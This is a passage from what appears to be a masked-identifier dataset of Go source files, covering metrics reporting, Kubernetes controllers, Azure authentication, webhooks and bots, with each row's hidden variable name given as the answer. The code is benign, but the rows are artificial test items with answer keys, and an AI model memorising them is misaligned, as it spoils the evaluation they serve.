}).WithError(err).Error(""creating influx batch points"") return } now := time.Now() r.registry.Each(func(name string, i interface{}) { var point *client.Point var err error tags := make(map[string]string) for key, val := range r.tags { tags[key] = val } measurement := name if [MASK] := strings.Split(name, "",""); len( [MASK] ) > 1 { measurement = [MASK] [0] for i := 1; i < len( [MASK] ); i++ { kv := strings.Split( [MASK] [i], ""="") if len(kv) == 2 { tags[kv[0]] = kv[1] } else { measurement = fmt.Sprintf(""%s,%s"", measurement, [MASK] [i]) } } } switch metric := i.(type) { case metrics.Counter: count := metric.Count() diff := count - r.lastCounter[name] if diff < 0 { diff = count } r.lastCounter[name] = count point, err = client.NewPoint( measurement, tags, map[string]interface{}{ ""count"": count, ""diff"": diff, }, now, ) case metrics.Gauge: point, err = client.NewPoint( measurement, tags, map[string]interface{}{ ""value"": metric.Value(), }, now, ) case metrics.GaugeFloat64: point, err = client.NewPoint( measurement, tags, map[string]interface{}{ ""value"": metric.Value(), }, now, ) case metrics.Histogram: ms := metric.Snapshot() ps := ms.Percentiles([]float64{0.5, 0.75, 0.95, 0.99, 0.999, 0.9999}) point, err = client.NewPoint( measurement, tags, map[string]interface{}{ ""count"": ms.Count(), ""max"": ms.Max(), ""mean"": ms.Mean(), ""min"": ms.Min(), ""stddev"": ms.StdDev(), ""variance"": ms.Variance(), ""p50"": ps[0], ""p75"": ps[1], ""p95"": ps[2], ""p99"": ps[3], ""p999"": ps[4], ""p9999"": ps[5], }, now, ) case metrics.Meter: ms := metric.Snapshot() point, err = client.NewPoint( measurement, tags, map[string]interface{}{ ""count"": ms.Count(), ""m1"": ms.Rate1(), ""m5"": ms.Rate5(), ""m15"": ms.Rate15(), ""mean"": ms.RateMean(), }, now, ) case metrics.Timer: ms := metric.Snapshot() ps := ms.Percentiles([]float64{0.5, 0.75, 0.95, 0.99, 0.999, 0.9999}) point, err = client.NewPoint( measurement, tags, map[string]interface{}{ ""count"": ms.Count(), ""max"": ms.Max(), ""mean"": ms.Mean(), ""min"": ms.Min(), ""stddev"": ms.StdDev(), ""variance"": ms.Variance(), ""p50"": ps[0], ""p75"": ps[1], ""p95"": ps[2], ""p99"": ps[3], ""p999"": ps[4], ""p9999"": ps[5], ""m1"": ms.Rate1(), ""m5"": ms.Rate5(), ""m15"": ms.Rate15(), ""meanrate"": ms.RateMean(), }, now, ) default: // Unhandled metric type return } if err != nil { r.log.WithField(""name"", name).WithError(err).Error(""creating influx data point"") return } bp.AddPoint(point) }) if len(bp.Points()) == 0 { return } if err = c.Write(bp); err != nil { r.log.WithError(err).Error(""writing data points to influx"") } } ",parts 941,"// SPDX-FileCopyrightText: 2024 SAP SE or an SAP affiliate company and Gardener contributors // // SPDX-License-Identifier: Apache-2.0 package app import ( ""context"" ""fmt"" ""os"" ""time"" druidcorev1alpha1 ""github.com/gardener/etcd-druid/api/core/v1alpha1"" ""github.com/gardener/gardener/extensions/pkg/controller"" controllercmd ""github.com/gardener/gardener/extensions/pkg/controller/cmd"" ""github.com/gardener/gardener/extensions/pkg/controller/controlplane/genericactuator"" ""github.com/gardener/gardener/extensions/pkg/controller/heartbeat"" heartbeatcmd ""github.com/gardener/gardener/extensions/pkg/controller/heartbeat/cmd"" ""github.com/gardener/gardener/extensions/pkg/util"" webhookcmd ""github.com/gardener/gardener/extensions/pkg/webhook/cmd"" ""github.com/gardener/gardener/pkg/client/kubernetes"" gardenerhealthz ""github.com/gardener/gardener/pkg/healthz"" machinev1alpha1 ""github.com/gardener/machine-controller-manager/pkg/apis/machine/v1alpha1"" monitoringv1 ""github.com/prometheus-operator/prometheus-operator/pkg/apis/monitoring/v1"" ""github.com/spf13/cobra"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" vpaautoscalingv1 ""k8s.io/autoscaler/vertical-pod-autoscaler/pkg/apis/autoscaling.k8s.io/v1"" ""k8s.io/component-base/version/verflag"" ""sigs.k8s.io/controller-runtime/pkg/cluster"" ""sigs.k8s.io/controller-runtime/pkg/healthz"" ""sigs.k8s.io/controller-runtime/pkg/manager"" ""github.com/gardener/gardener-extension-provider-alicloud/pkg/alicloud"" alicloudinstall ""github.com/gardener/gardener-extension-provider-alicloud/pkg/apis/alicloud/install"" alicloudcmd ""github.com/gardener/gardener-extension-provider-alicloud/pkg/cmd"" alicloudbackupbucket ""github.com/gardener/gardener-extension-provider-alicloud/pkg/controller/backupbucket"" alicloudbackupentry ""github.com/gardener/gardener-extension-provider-alicloud/pkg/controller/backupentry"" alicloudbastion ""github.com/gardener/gardener-extension-provider-alicloud/pkg/controller/bastion"" alicloudcontrolplane ""github.com/gardener/gardener-extension-provider-alicloud/pkg/controller/controlplane"" aliclouddnsrecord ""github.com/gardener/gardener-extension-provider-alicloud/pkg/controller/dnsrecord"" ""github.com/gardener/gardener-extension-provider-alicloud/pkg/controller/healthcheck"" alicloudinfrastructure ""github.com/gardener/gardener-extension-provider-alicloud/pkg/controller/infrastructure"" alicloudworker ""github.com/gardener/gardener-extension-provider-alicloud/pkg/controller/worker"" alicloudseedprovider ""github.com/gardener/gardener-extension-provider-alicloud/pkg/webhook/seedprovider"" ""github.com/gardener/gardener-extension-provider-alicloud/pkg/webhook/shoot"" ) // NewControllerManagerCommand creates a new command for running a Alicloud provider controller. func NewControllerManagerCommand(ctx context.Context) *cobra.Command { var ( generalOpts = &controllercmd.GeneralOptions{} restOpts = &controllercmd.RESTOptions{} mgrOpts = &controllercmd.ManagerOptions{ LeaderElection: true, LeaderElectionID: controllercmd.LeaderElectionNameID(alicloud.Name), LeaderElectionNamespace: os.Getenv(""LEADER_ELECTION_NAMESPACE""), WebhookServerPort: 443, WebhookCertDir: ""/tmp/gardener-extensions-cert"", MetricsBindAddress: "":8080"", HealthBindAddress: "":8081"", } configFileOpts = &alicloudcmd.ConfigOptions{} // options for the backupbucket controller backupBucketCtrlOpts = &controllercmd.ControllerOptions{ MaxConcurrentReconciles: 5, } // options for the backupentry controller backupEntryCtrlOpts = &controllercmd.ControllerOptions{ MaxConcurrentReconciles: 5, } // options for the bastion controller bastionCtrlOpts = &controllercmd.ControllerOptions{ MaxConcurrentReconciles: 5, } // options for the health care controller healthCheckCtrlOpts = &controllercmd.ControllerOptions{ MaxConcurrentReconciles: 5, } // options for the heartbeat controller heartbeatCtrlOpts = &heartbeatcmd.Options{ ExtensionName: alicloud.Name, RenewIntervalSeconds: 30, Namespace: os.Getenv(""LEADER_ELECTION_NAMESPACE""), } // options for the controlplane controller controlPlaneCtrlOpts = &controllercmd.ControllerOptions{ MaxConcurrentReconciles: 5, } // options for the dnsrecord controller dnsRecordCtrlOpts = &alicloudcmd.DNSRecordControllerOptions{ ControllerOptions: controllercmd.ControllerOptions{ MaxConcurrentReconciles: 5, }, ProviderClientQPS: 25, ProviderClientBurst: 1, ProviderClientWaitTimeout: 2 * time.Second, } // options for the infrastructure controller infraCtrlOpts = &controllercmd.ControllerOptions{ MaxConcurrentReconciles: 5, } reconcileOpts = &controllercmd.ReconcilerOptions{} // options for the worker controller workerCtrlOpts = &controllercmd.ControllerOptions{ MaxConcurrentReconciles: 5, } // options for the webhook server webhookServerOptions = &webhookcmd.ServerOptions{ Namespace: os.Getenv(""WEBHOOK_CONFIG_NAMESPACE""), } controllerSwitches = alicloudcmd.ControllerSwitchOptions() webhookSwitches = alicloudcmd.WebhookSwitchOptions() webhookOptions = webhookcmd.NewAddToManagerOptions( alicloud.Name, genericactuator.ShootWebhooksResourceName, genericactuator.ShootWebhookNamespaceSelector(alicloud.Type), webhookServerOptions, webhookSwitches, ) aggOption = controllercmd.NewOptionAggregator( generalOpts, restOpts, mgrOpts, controllercmd.PrefixOption(""backupbucket-"", backupBucketCtrlOpts), controllercmd.PrefixOption(""backupentry-"", backupEntryCtrlOpts), controllercmd.PrefixOption(""bastion-"", bastionCtrlOpts), controllercmd.PrefixOption(""controlplane-"", controlPlaneCtrlOpts), controllercmd.PrefixOption(""dnsrecord-"", dnsRecordCtrlOpts), controllercmd.PrefixOption(""infrastructure-"", infraCtrlOpts), controllercmd.PrefixOption(""worker-"", workerCtrlOpts), controllercmd.PrefixOption(""healthcheck-"", healthCheckCtrlOpts), controllercmd.PrefixOption(""heartbeat-"", heartbeatCtrlOpts), configFileOpts, controllerSwitches, reconcileOpts, webhookOptions, ) ) cmd := &cobra.Command{ Use: fmt.Sprintf(""%s-controller-manager"", alicloud.Name), RunE: func(_ *cobra.Command, _ []string) error { verflag.PrintAndExitIfRequested() if err := aggOption.Complete(); err != nil { return fmt.Errorf(""error completing options: %w"", err) } if err := heartbeatCtrlOpts.Validate(); err != nil { return err } util.ApplyClientConnectionConfigurationToRESTConfig(configFileOpts.Completed().Config.ClientConnection, restOpts.Completed().Config) mgr, err := manager.New(restOpts.Completed().Config, mgrOpts.Completed().Options()) if err != nil { return fmt.Errorf(""could not instantiate manager: %w"", err) } scheme := mgr.GetScheme() if err := controller.AddToScheme(scheme); err != nil { return fmt.Errorf(""could not update manager scheme: %w"", err) } if err := alicloudinstall.AddToScheme(scheme); err != nil { return fmt.Errorf(""could not update manager scheme: %w"", err) } if err := druidcorev1alpha1.AddToScheme(scheme); err != nil { return fmt.Errorf(""could not update manager scheme: %w"", err) } if err := vpaautoscalingv1.AddToScheme(scheme); err != nil { return fmt.Errorf(""could not update manager scheme: %w"", err) } if err := machinev1alpha1.AddToScheme(scheme); err != nil { return fmt.Errorf(""could not update manager scheme: %w"", err) } if err := monitoringv1.AddToScheme(mgr.GetScheme()); err != nil { return fmt.Errorf(""could not update manager scheme: %w"", err) } // add common meta types to schema for controller-runtime to use v1.ListOptions metav1.AddToGroupVersion(scheme, machinev1alpha1.SchemeGroupVersion) log := mgr.GetLogger() log.Info(""Getting rest config for garden"") [MASK] , err := kubernetes.RESTConfigFromKubeconfigFile(os.Getenv(""GARDEN_KUBECONFIG""), kubernetes.AuthTokenFile) if err != nil { return err } log.Info(""Setting up cluster object for garden"") gardenCluster, err := cluster.New( [MASK] , func(opts *cluster.Options) { opts.Scheme = kubernetes.GardenScheme opts.Logger = log }) if err != nil { return fmt.Errorf(""failed creating garden cluster object: %w"", err) } log.Info(""Adding garden cluster to manager"") if err := mgr.Add(gardenCluster); err != nil { return fmt.Errorf(""failed adding garden cluster to manager: %w"", err) } log.Info(""Adding controllers to manager"") configFileOpts.Completed().ApplyMachineImageOwnerSecretRef(&alicloudinfrastructure.DefaultAddOptions.MachineImageOwnerSecretRef) configFileOpts.Completed().ApplyToBeSharedImageIDs(&alicloudinfrastructure.DefaultAddOptions.ToBeSharedImageIDs) configFileOpts.Completed().ApplyETCDStorage(&alicloudseedprovider.DefaultAddOptions.ETCDStorage) configFileOpts.Completed().ApplyService(&shoot.DefaultAddOptions.Service) configFileOpts.Completed().ApplyHealthCheckConfig(&healthcheck.DefaultAddOptions.HealthCheckConfig) configFileOpts.Completed().ApplyCSI(&alicloudcontrolplane.DefaultAddOptions.CSI) healthCheckCtrlOpts.Completed().Apply(&healthcheck.DefaultAddOptions.Controller) heartbeatCtrlOpts.Completed().Apply(&heartbeat.DefaultAddOptions) backupBucketCtrlOpts.Completed().Apply(&alicloudbackupbucket.DefaultAddOptions.Controller) backupEntryCtrlOpts.Completed().Apply(&alicloudbackupentry.DefaultAddOptions.Controller) bastionCtrlOpts.Completed().Apply(&alicloudbastion.DefaultAddOptions.Controller) controlPlaneCtrlOpts.Completed().Apply(&alicloudcontrolplane.DefaultAddOptions.Controller) dnsRecordCtrlOpts.Completed().Apply(&aliclouddnsrecord.DefaultAddOptions.Controller) dnsRecordCtrlOpts.Completed().ApplyRateLimiter(&aliclouddnsrecord.DefaultAddOptions.RateLimiter) infraCtrlOpts.Completed().Apply(&alicloudinfrastructure.DefaultAddOptions.Controller) reconcileOpts.Completed().Apply(&alicloudinfrastructure.DefaultAddOptions.IgnoreOperationAnnotation, &alicloudinfrastructure.DefaultAddOptions.ExtensionClass) reconcileOpts.Completed().Apply(&alicloudcontrolplane.DefaultAddOptions.IgnoreOperationAnnotation, &alicloudcontrolplane.DefaultAddOptions.ExtensionClass) reconcileOpts.Completed().Apply(&alicloudworker.DefaultAddOptions.IgnoreOperationAnnotation, &alicloudworker.DefaultAddOptions.ExtensionClass) reconcileOpts.Completed().Apply(&alicloudbastion.DefaultAddOptions.IgnoreOperationAnnotation, &alicloudbastion.DefaultAddOptions.ExtensionClass) reconcileOpts.Completed().Apply(&alicloudbackupbucket.DefaultAddOptions.IgnoreOperationAnnotation, &alicloudbackupbucket.DefaultAddOptions.ExtensionClass) reconcileOpts.Completed().Apply(&alicloudbackupentry.DefaultAddOptions.IgnoreOperationAnnotation, &alicloudbackupentry.DefaultAddOptions.ExtensionClass) reconcileOpts.Completed().Apply(&aliclouddnsrecord.DefaultAddOptions.IgnoreOperationAnnotation, &aliclouddnsrecord.DefaultAddOptions.ExtensionClass) workerCtrlOpts.Completed().Apply(&alicloudworker.DefaultAddOptions.Controller) alicloudworker.DefaultAddOptions.GardenCluster = gardenCluster alicloudworker.DefaultAddOptions.AutonomousShootCluster = generalOpts.Completed().AutonomousShootCluster atomicShootWebhookConfig, err := webhookOptions.Completed().AddToManager(ctx, mgr, nil, generalOpts.Completed().AutonomousShootCluster) if err != nil { return fmt.Errorf(""could not add webhooks to manager: %w"", err) } alicloudcontrolplane.DefaultAddOptions.ShootWebhookConfig = atomicShootWebhookConfig alicloudcontrolplane.DefaultAddOptions.WebhookServerNamespace = webhookOptions.Server.Namespace if err := controllerSwitches.Completed().AddToManager(ctx, mgr); err != nil { return fmt.Errorf(""could not add controllers to manager: %w"", err) } if err := mgr.AddReadyzCheck(""informer-sync"", gardenerhealthz.NewCacheSyncHealthz(mgr.GetCache())); err != nil { return fmt.Errorf(""could not add readycheck for informers: %w"", err) } if err := mgr.AddHealthzCheck(""ping"", healthz.Ping); err != nil { return fmt.Errorf(""could not add health check to manager: %w"", err) } if err := mgr.AddReadyzCheck(""webhook-server"", mgr.GetWebhookServer().StartedChecker()); err != nil { return fmt.Errorf(""could not add ready check for webhook server to manager: %w"", err) } // TODO (georgibaltiev): Remove after the release of version 1.64.0 if reconcileOpts.ExtensionClass != ""garden"" { log.Info(""Adding migration runnables"") if err := mgr.Add(manager.RunnableFunc(func(ctx context.Context) error { return purgeMachineControllerManagerRBACResources(ctx, mgr.GetClient(), log) })); err != nil { return fmt.Errorf(""error adding migrations: %w"", err) } } if err := mgr.Start(ctx); err != nil { return fmt.Errorf(""error running manager: %w"", err) } return nil }, } verflag.AddFlags(cmd.Flags()) aggOption.AddFlags(cmd.Flags()) return cmd } ",gardenRESTConfig 942,"package main import ( ""bytes"" ""encoding/json"" ""fmt"" ""github.com/rs/zerolog"" ""github.com/rs/zerolog/log"" ""os"" ""net/http"" ) var pretty bool func handleHealth(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, ""OK"") } func handleReady(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, ""OK"") } func handleIndex(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, ""Webhook Handler"") } func handleWebhook(w http.ResponseWriter, r *http.Request) { if r.Method != ""POST"" { http.Error(w, http.StatusText(http.StatusMethodNotAllowed), http.StatusMethodNotAllowed) return } if r.Header.Get(""Content-Type"") != ""application/json"" { http.Error(w, http.StatusText(http.StatusUnsupportedMediaType), http.StatusUnsupportedMediaType) return } var buffer bytes.Buffer // dump the headers headers, headersErr := json.Marshal(r.Header) // read the body body := new(bytes.Buffer) body.ReadFrom(r.Body) if headersErr == nil { fmt.Fprintf(&buffer, ""{\""headers\"": %s, \""body\"": %s}"", headers, body) } else { fmt.Fprintf(&buffer, ""{\""body\"": %s}"", body) } if pretty { pretty_json, err := prettyJSON(buffer) if err == nil { log.Info().RawJSON(""payload"", pretty_json.Bytes()).Msg(""webhook"") } else { log.Info().RawJSON(""payload"", buffer.Bytes()).Msg(""webhook"") } } else { log.Info().RawJSON(""payload"", buffer.Bytes()).Msg(""webhook"") } } func prettyJSON( [MASK] bytes.Buffer) (bytes.Buffer, error) { var buff bytes.Buffer err := json.Indent(&buff, [MASK] .Bytes(), """", "" "") return buff, err } func main() { zerolog.TimeFieldFormat = zerolog.TimeFormatUnix _, pretty = os.LookupEnv(""JSON_PRETTY"") if pretty { log.Info().Msg(""pretty output enabled"") } log.Info().Msg(""Server starting on 8080"") http.HandleFunc(""/"", handleIndex) http.HandleFunc(""/health"", handleHealth) http.HandleFunc(""/ready"", handleReady) http.HandleFunc(""/webhook"", handleWebhook) log.Fatal().Err(http.ListenAndServe("":8080"", nil)) } ",ugly 943,"/* * Copyright 2019 - 2022 <> * * Licensed under the Apache License, Version 2.0 (the ""License""); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an ""AS IS"" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package federation import ( ""github.com/sirupsen/logrus"" ""github.com/t2bot/matrix-room-directory-server/api/common"" ""github.com/t2bot/matrix-room-directory-server/directory"" ""github.com/t2bot/matrix-room-directory-server/key_server"" ""github.com/t2bot/matrix-room-directory-server/models"" ""github.com/t2bot/matrix-room-directory-server/util"" ""io/ioutil"" ""net/http"" ""strconv"" ) type PublicRoomsResponse struct { Chunk []*models.PublicRoomEntry `json:""chunk""` NextBatchToken string `json:""next_batch,omitempty""` PrevBatchToken string `json:""prev_batch,omitempty""` TotalRoomsKnown int `json:""total_room_count_estimate""` } func GetPublicRooms(r *http.Request, log *logrus.Entry) interface{} { auth := r.Header.Get(""Authorization"") urlWithQuery := r.URL.Path + ""?"" + r.URL.RawQuery [MASK] := r.Host method := r.Method originHeader := r.Header.Get(""X-Origin"") if originHeader != """" { [MASK] = originHeader } b, err := ioutil.ReadAll(r.Body) if err != nil { log.Error(err) return common.InternalServerError(""body not available"") } err = key_server.Default.CheckAuth(auth, method, urlWithQuery, [MASK] , b) if err != nil { log.Error(err) return common.InternalServerError(""failed to authenticate request or some other error"") } rooms := directory.Cached limitRaw := r.URL.Query().Get(""limit"") sinceRaw := r.URL.Query().Get(""since"") limit := 0 since := 0 if limitRaw != """" { v, err := strconv.Atoi(limitRaw) if err != nil { log.Error(err) return common.InternalServerError(""failed to parse limit"") } limit = v } if sinceRaw != """" { v, err := strconv.Atoi(sinceRaw) if err != nil { log.Error(err) return common.InternalServerError(""failed to parse since"") } since = v } max := len(rooms) start := since end := util.Min(max, start+limit) if end == start { end = max } subsetRooms := rooms[start:end] nextToken := """" if end != max { nextToken = strconv.Itoa(end + 1) } prevToken := """" if start != 0 { prevToken = strconv.Itoa(start - 1) } return &PublicRoomsResponse{ Chunk: subsetRooms, NextBatchToken: nextToken, PrevBatchToken: prevToken, TotalRoomsKnown: len(rooms), } } ",destination 944,"package config import ( ""bytes"" ""crypto"" ""crypto/x509"" ""encoding/json"" ""fmt"" ""os"" ""os/exec"" ""runtime"" ""slices"" ""github.com/Azure/azure-sdk-for-go/sdk/azcore"" ""github.com/Azure/azure-sdk-for-go/sdk/azcore/arm/policy"" ""github.com/Azure/azure-sdk-for-go/sdk/azcore/cloud"" cloudPolicy ""github.com/Azure/azure-sdk-for-go/sdk/azcore/policy"" ""github.com/Azure/azure-sdk-for-go/sdk/azidentity"" ""github.com/Azure/go-autorest/autorest/azure/auth"" ) const PluginName = ""azure"" type AzureConnection struct { Environment *string `hcl:""environment""` TenantId *string `hcl:""tenant_id""` SubscriptionId *string `hcl:""subscription_id""` ClientId *string `hcl:""client_id""` ClientSecret *string `hcl:""client_secret""` CertificatePath *string `hcl:""certificate_path""` CertificatePassword *string `hcl:""certificate_password""` UserName *string `hcl:""username""` Password *string `hcl:""""` } type AzureConnectionSession struct { Credential azcore.TokenCredential SubscriptionID string TenantID string ClientOptions *policy.ClientOptions } func (c *AzureConnection) Validate() error { // if environment is set, ensure it's a valid value if c.Environment != nil { validEnvironments := []string{""AZUREPUBLICCLOUD"", ""AZUREUSGOVERNMENTCLOUD"", ""AZURECHINACLOUD"", ""AZUREGERMANCLOUD""} if !slices.Contains(validEnvironments, *c.Environment) { return fmt.Errorf(""invalid environment: %s"", *c.Environment) } } // if certificate path is set, ensure certificate password is also set if c.CertificatePath != nil && c.CertificatePassword == nil { return fmt.Errorf(""certificate password is required when certificate path is set"") } // if username is set, ensure password is also set if c.UserName != nil && c.Password == nil { return fmt.Errorf(""password is required when username is set"") } return nil } func (c *AzureConnection) Identifier() string { return PluginName } func (c *AzureConnection) GetSession() (*AzureConnectionSession, error) { var cred azcore.TokenCredential var cloudConfiguration cloud.Configuration var err error // environment should be defaulted if not set environment := c.getConfigOrEnv(c.Environment, ""AZURE_ENVIRONMENT"") tenantId := c.getConfigOrEnv(c.TenantId, auth.TenantID) subscriptionId := c.getConfigOrEnv(c.SubscriptionId, auth.SubscriptionID) clientId := c.getConfigOrEnv(c.ClientId, auth.ClientID) clientSecret := c.getConfigOrEnv(c.ClientSecret, auth.ClientSecret) certificatePath := c.getConfigOrEnv(c.CertificatePath, auth.CertificatePath) certificatePassword := c.getConfigOrEnv(c.CertificatePassword, auth.CertificatePassword) username := c.getConfigOrEnv(c.UserName, auth.Username) password := c.getConfigOrEnv(c.Password, auth.Password) switch environment { case ""AZURECHINACLOUD"": cloudConfiguration = cloud.AzureChina case ""AZUREUSGOVERNMENTCLOUD"": cloudConfiguration = cloud.AzureGovernment default: cloudConfiguration = cloud.AzurePublic } clientOptions := policy.ClientOptions{ClientOptions: cloudPolicy.ClientOptions{Cloud: cloudConfiguration}} // determine credential type switch { // client-secret auth case tenantId != """" && subscriptionId != """" && clientId != """" && clientSecret != """": cred, err = azidentity.NewClientSecretCredential(tenantId, clientId, clientSecret, nil) if err != nil { return nil, fmt.Errorf(""failed to create client secret credential: %w"", err) } // certificate auth case tenantId != """" && subscriptionId != """" && clientId != """" && certificatePath != """": var certs []*x509.Certificate var key crypto.PrivateKey var passBytes []byte = nil var certBytes []byte certBytes, err = os.ReadFile(certificatePath) if err != nil { return nil, fmt.Errorf(""failed to read certificate file: %w"", err) } if certificatePassword != """" { passBytes = []byte(certificatePassword) } certs, key, err = azidentity.ParseCertificates(certBytes, passBytes) if err != nil { return nil, fmt.Errorf(""failed to parse certificate: %w"", err) } cred, err = azidentity.NewClientCertificateCredential(tenantId, clientId, certs, key, nil) if err != nil { return nil, fmt.Errorf(""failed to create client certificate credential: %w"", err) } // username/password auth case tenantId != """" && subscriptionId != """" && clientId != """" && username != """" && password != """": cred, err = azidentity.NewUsernamePasswordCredential(tenantId, clientId, username, password, nil) if err != nil { return nil, fmt.Errorf(""failed to create username/password credential: %w"", err) } // managed identity auth case tenantId != """" && subscriptionId != """" && clientId != """": cred, err = azidentity.NewManagedIdentityCredential(&azidentity.ManagedIdentityCredentialOptions{ ID: azidentity.ClientID(clientId), }) if err != nil { return nil, fmt.Errorf(""failed to create managed identity credential: %w"", err) } // fallback to CLI auth default: cred, err = azidentity.NewAzureCLICredential(nil) if err != nil { return nil, fmt.Errorf(""failed to create Azure CLI credential: %w"", err) } subscriptionId, err = getSubscriptionIDFromCLINew() if err != nil { return nil, err } } return &AzureConnectionSession{ Credential: cred, SubscriptionID: subscriptionId, TenantID: tenantId, ClientOptions: &clientOptions, }, nil } func (c *AzureConnection) getConfigOrEnv(configValue *string, env string) string { if configValue != nil { return *configValue } return os.Getenv(env) } // getSubscriptionIDFromCLINew executes Azure CLI to get the subscription ID. func getSubscriptionIDFromCLINew() (string, error) { const azureCLIPath = ""AzureCLIPath"" azureCLIDefaultPathWindows := fmt.Sprintf(""%s\\Microsoft SDKs\\Azure\\CLI2\\wbin; %s\\Microsoft SDKs\\Azure\\CLI2\\wbin"", os.Getenv(""ProgramFiles(x86)""), os.Getenv(""ProgramFiles"")) const azureCLIDefaultPath = ""/bin:/sbin:/usr/bin:/usr/local/bin"" var [MASK] *exec.Cmd if runtime.GOOS == ""windows"" { [MASK] = exec.Command(fmt.Sprintf(""%s\\system32\\cmd.exe"", os.Getenv(""windir""))) [MASK] .Env = os.Environ() [MASK] .Env = append( [MASK] .Env, fmt.Sprintf(""PATH=%s;%s"", os.Getenv(azureCLIPath), azureCLIDefaultPathWindows)) [MASK] .Args = append( [MASK] .Args, ""/c"", ""az"") } else { [MASK] = exec.Command(""az"") [MASK] .Env = os.Environ() [MASK] .Env = append( [MASK] .Env, fmt.Sprintf(""PATH=%s:%s"", os.Getenv(azureCLIPath), azureCLIDefaultPath)) } [MASK] .Args = append( [MASK] .Args, ""account"", ""show"", ""-o"", ""json"") var stderr bytes.Buffer [MASK] .Stderr = &stderr output, err := [MASK] .Output() if err != nil { return """", fmt.Errorf(""invoking Azure CLI failed with the following error: %v"", err) } var accountResponse struct { SubscriptionID string `json:""id""` } err = json.Unmarshal(output, &accountResponse) if err != nil { return """", fmt.Errorf(""error parsing JSON output: %v"", err) } return accountResponse.SubscriptionID, nil } ",cliCmd 945,"package main import ( ""context"" ""fmt"" ""os"" ""github.com/edaniels/golog"" chat ""github.com/viam-labs/chat-service-api/src/chat_go"" ""go.viam.com/rdk/robot/client"" ""go.viam.com/utils/rpc"" ) func main() { logger := golog.NewDevelopmentLogger(""client"") robot, err := client.New( context.Background(), os.Getenv(""ROBOT_ADDRESS""), logger, client.WithDialOptions( rpc.WithEntityCredentials( os.Getenv(""API_KEY_ID""), rpc.Credentials{ Type: rpc.CredentialsTypeAPIKey, Payload: os.Getenv(""API_KEY""), })), ) if err != nil { logger.Fatal(err) } defer robot.Close(context.Background()) logger.Info(""Resources:"") logger.Info(robot.ResourceNames()) chat, err := chat.FromRobot(robot, ""chat"") fmt.Println(""err"", err) [MASK] , err := chat.Chat(context.Background(), ""Please provide a list of famous robots from history"") logger.Info(""Answer:"") logger.Info( [MASK] ) } ",answer 946,"package main import ( ""emperror.dev/errors"" ""github.com/BurntSushi/toml"" loaderConfig ""github.com/je4/certloader/v2/pkg/loader"" ""github.com/je4/filesystem/v3/pkg/vfsrw"" ""github.com/je4/indexer/v3/pkg/indexer"" ""github.com/je4/utils/v2/pkg/config"" ""github.com/je4/utils/v2/pkg/stashconfig"" ""io/fs"" ""os"" ) type MediaserverIngestConfig struct { LocalAddr string `toml:""localaddr""` Domains []string `toml:""domains""` ResolverAddr string `toml:""resolveraddr""` ResolverTimeout config.Duration `toml:""resolvertimeout""` ResolverNotFoundTimeout config.Duration `toml:""resolvernotfoundtimeout""` IngestTimeout config.Duration `toml:""ingesttimeout""` IngestWait config.Duration `toml:""ingestwait""` ConcurrentTasks int `toml:""concurrenttasks""` GRPCClient map[string]string `toml:""grpcclient""` ClientTLS *loaderConfig.Config `toml:""client""` Indexer *indexer.IndexerConfig VFS map[string]*vfsrw.VFS `toml:""vfs""` Log stashconfig.Config `toml:""log""` } func LoadMediaserverIngestConfig( [MASK] fs.FS, fp string, conf *MediaserverIngestConfig) error { if _, err := fs.Stat( [MASK] , fp); err != nil { path, err := os.Getwd() if err != nil { return errors.Wrap(err, ""cannot get current working directory"") } [MASK] = os.DirFS(path) fp = ""mediaserveringest.toml"" } data, err := fs.ReadFile( [MASK] , fp) if err != nil { return errors.Wrapf(err, ""cannot read file [%v] %s"", [MASK] , fp) } _, err = toml.Decode(string(data), conf) if err != nil { return errors.Wrapf(err, ""error loading config file %v"", fp) } return nil } ",fSys 947,"package bot import ( ""context"" tgbotapi ""github.com/go-telegram-bot-api/telegram-bot-api"" log ""github.com/sirupsen/logrus"" ""sync"" ) type HandlerFunc func(tgbotapi.Update, *tgbotapi.BotAPI) error type Predicate func(tgbotapi.Update) bool type messageHandler struct { predicate Predicate handler HandlerFunc } type Bot struct { tgBot *tgbotapi.BotAPI token string mtx sync.RWMutex msgHandlers []messageHandler } func New(token string, logLevel log.Level) (*Bot, error) { tgBot, err := tgbotapi.NewBotAPI(token) if err != nil { log.Fatal(err) } if logLevel >= log.DebugLevel { tgBot.Debug = true } return &Bot{ tgBot: tgBot, token: token, msgHandlers: make([]messageHandler, 0), }, err } func (b *Bot) AddHandler(predicate Predicate, handlerFunc HandlerFunc) { b.mtx.Lock() defer b.mtx.Unlock() b.msgHandlers = append(b.msgHandlers, messageHandler{handler: handlerFunc, predicate: predicate}) } func (b *Bot) Send(msg tgbotapi.Chattable) error { if _, err := b.tgBot.Send(msg); err != nil { // todo log error return err } return nil } func (b *Bot) Run(ctx context.Context) error { b.tgBot.Debug = true u := tgbotapi.NewUpdate(0) u.Timeout = 60 [MASK] , err := b.tgBot.GetUpdatesChan(u) if err != nil { log.Fatal(err) } for { select { case <-ctx.Done(): log.Warn(""bot processing cancelled via ctx..."") return nil case update := <- [MASK] : b.mtx.RLock() for _, handler := range b.msgHandlers { if !handler.predicate(update) { continue } err := handler.handler(update, b.tgBot) if err != nil { log.WithError(err).Error(""error handling message"") } break } b.mtx.RUnlock() } } } ",updates 948,"/* Copyright IBM Corp. 2016 All Rights Reserved. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package obcpbft import ( ""fmt"" ""sync"" ""time"" ""github.com/TarantulaTechnology/fabric/consensus"" pb ""github.com/TarantulaTechnology/fabric/protos"" ) type communicator interface { consensus.Communicator consensus.Inquirer } type broadcaster struct { comm communicator f int msgChans map[uint64]chan *pb.Message closed sync.WaitGroup closedCh chan struct{} } func newBroadcaster(self uint64, N int, f int, c communicator) *broadcaster { [MASK] := 10 // XXX increase after testing chans := 